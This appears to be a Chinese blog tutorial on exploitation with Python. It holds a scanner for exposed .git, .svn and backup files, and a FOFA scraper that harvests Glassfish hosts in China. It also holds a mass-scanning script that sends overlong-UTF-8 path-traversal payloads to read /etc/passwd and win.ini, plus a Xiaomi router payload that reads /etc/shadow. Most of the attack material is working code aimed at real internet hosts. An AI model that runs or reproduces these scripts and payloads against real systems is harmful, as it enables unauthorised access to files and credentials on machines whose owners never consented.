基于python的漏洞利用

漏洞利用

前言

漏洞利用是计算机安全术语,指的是利用程序中的某些漏洞,来得到计算机的控制权(使自己编写的代码越过具有漏洞的程序的限制,从而获得运行权限)。

漏洞是在硬件、软件、协议的具体实现或操作系统安全策略上存在的缺陷,从而使攻击者能够在未经授权的情况下访问或者破外系统。

漏洞利用是获得系统控制权限的重要途径。用户从目标系统中找到容易攻击的漏洞,然后利用该漏洞获取权限,从而实现对目标系统的控制。

 

漏洞利用的过程:

为了达到发现网络的漏洞,实现获取密码挡、添加用户、控制网站的目标,攻击者进行exploit。exploit字面上的意思是“开发、开拓”,而在破解圈子里面,公认的概念是“漏洞及其利用”。通俗的说,exploit就是利用一切可以利用的工具,采用一切可以采用的方法、找到一切可以找到的漏洞,并通过对漏洞资料的研究分析,从而达到获取网站用户资料、添加用户、甚至入侵网站获得管理权限控制整个网站的目的。exploit的基本过程是如下:

1)对目标网站进行扫描。可以使用已知的漏洞扫描软件进行扫描,查看目标是否有漏洞列表中的漏洞。也可以用一些专门的软件,扫描目标的其他相关信息,包括网站使用的操作系统版本、提供的服务以及开放的端口。

2)对扫描获得的信息进行分析研究,从而找出漏洞所在及其利用方法。

3)选用相应的工具,获得密码档、添加用户、获得管理员权限等。

案例:

源代码泄露

0x1 .git源码泄露:当在一个空目录执行git init 时,Git 会创建一个 .git 目录。 这个目录包含所有的 Git 存储和操作的对象。 如果想备份或复制一个版本库,只需把这个目录拷贝至另一处就可以了

0x2 .svn源码泄露:SVN 是 Subversion 的简称,是一个开放源代码的版本控制系统,相较于 RCS、CVS,它采用了分支管理系统,它的设计目标就是取代 CVS。互联网上很多版本控制服务已从 CVS 迁移到 Subversion。很多网站都使用了 svn 版本控制系统,和使用 git 版本控制器类似,很多开发者网站安全意识不足,代码放到生产坏境中后,没有清理 svn 的一些信息,导致 svn 残留,因此攻击者可以使用工具 dvcs-ripper 下载网站源码。当可以访问到/.svn/entries的时候,就证明存在了。

0x3 DS_Store 文件泄露:.DS_Store 文件 MAC 系统是用来存储这个文件夹的显示属性的:比如文件图标的摆放位置。如果用户删除以后的副作用就是这些信息的失去。这些文件本来是给 Finder 使用的,但它们被设想作为一种更通用的有关显示设置的元数据存储,诸如图标位置和视图设置。 当你需要把代码上传的时候,安全正确的操作应该把 .DS_Store 文件删除才正确。通过.DS_Store可以知道这个目录里所有的文件名称。当访问/.ds_store可以访问的到,就证明存在。

0x4 .hg 源码泄露:使用hg init 新建仓库的时候,会生成一个备份文件.hg,当访问/.hg存在的时候,就证明存在该漏洞。

0x5 WEB-INF/web.xml泄露:WEB-INF 是 Java 的 WEB 应用的安全目录。该目录原则上来说是客户端无法访问,只有服务端才可以可以访问。如果想在页面中直接访问其中的文件,必须通过 web.xml 文件对要访问的文件进行相应映射才能访问。

0x6 网站备份文件泄露:在网站的升级和维护过程中,通常需要对网站中的文件进行修改。此时就需要对网站整站或者其中某一页面进行备份。文件后缀:.rar .zip .7z .tar.gz .bak .swp .txt .sql。

0x7 cvs文件泄露:http://url/CVS/Root 返回根信息;http://url/CVS/Entries 返回所有文件的结构。

编程思路:把网上常见的源代码泄露的连接都收藏起来,存在yuan.txt文件中,然后写代码可以进行源代码泄露的脚本进行判断,如果网络访问成功就证明可能存在该漏洞。然后可以利用漏洞利用工具,进行源代码获取。

源代码泄露:

import requests

def check_yuan(url):

    f = open('yuan.txt', encoding="utf-8")

    for i in f:

        i = i.replace('\n', '')

        url_new= url+i

        try:

            url_status_code = requests.get(url_new).status_code

            #print(url_status_code)

            if url_status_code in [200,403]:

                print(url_new,"存在源代码泄露")

                break

        except Exception:

            pass

    else:

        print(url,"可能不存在源代码泄露")

url=input("请输入检测的url")

check_yuan(url)
View Code

 

 

案例二

Glassfish 漏洞利用

漏洞原理:

java语言中会把%c0%af解析为\uC0AF,最后转义为ASCCII字符的/(斜杠)。利用..%c0%af..%c0%af来向上跳转,达到目录穿越、任意文件读取的效果。 计算机指定了UTF8编码接收二进制并进行转义,当发现字节以0开头,表示这是一个标准ASCII字符,直接转义,当发现110开头,则取2个字节 去掉110模板后转义。

java语言中会把%c0%ae解析为\uC0AE,最后转义为ASCCII字符的.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果。

Fofa获取ip

 

import base64

import time

search_data='"glassfish" && port="4848" && country="CN"'

headers={

'cookie':'fofa_token="换成自己的fofa的key"',

}

for yeshu in range(1,10):

    url = 'https://fofa.so/result?page='+str(yeshu)+'&qbase64='

    search_data_bs=str(base64.b64encode(search_data.encode("utf-8")), "utf-8")

    urls=url+search_data_bs

    #print(urls)

    try:

        print('正在提取第' + str(yeshu) + '')

        result=requests.get(urls,headers=headers)

        soup =BeautifulSoup(result.text,'lxml')

        trs=soup.find_all('span',attrs={'class':'aSpan'})

        for tr in trs:

            a=list(tr.stripped_strings)

            ip_data=a[0]

            print(ip_data)

            with open(r'ip.txt','a+') as f:

                f.write(ip_data+'\n')

                f.close()

        time.sleep(0.5)

    except Exception as e:

        pass
View Code

 

网址验证:

 

import requests

with open("ip.txt","r",encoding="utf-8") as f:

    for i in f:

        i=i.strip("\n")

        url="http://"+i

        linux_payload='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'

        windows_payload='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'

        #linux

        try:

            result=requests.get(url=url+linux_payload,timeout=0.2)

            if result.status_code==200:

                print(url+linux_payload)

            #windows

            result1=requests.get(url=url+windows_payload,timeout=0.2)

            if result1.status_code==200:

                print(url+windows_payload)

        except Exception:

            pass
View Code

 

 案例三

小米路由器未授权访问

获取小米路由器的url 参考案例二 fofa获取ip

网址验证

 参考这个
漏洞利用payload
/api-third-party/download/extdisks../etc/shadow
自己写个

 

posted on 2022-07-24 19:07  a阿军  阅读(379)  评论(0编辑  收藏  举报

导航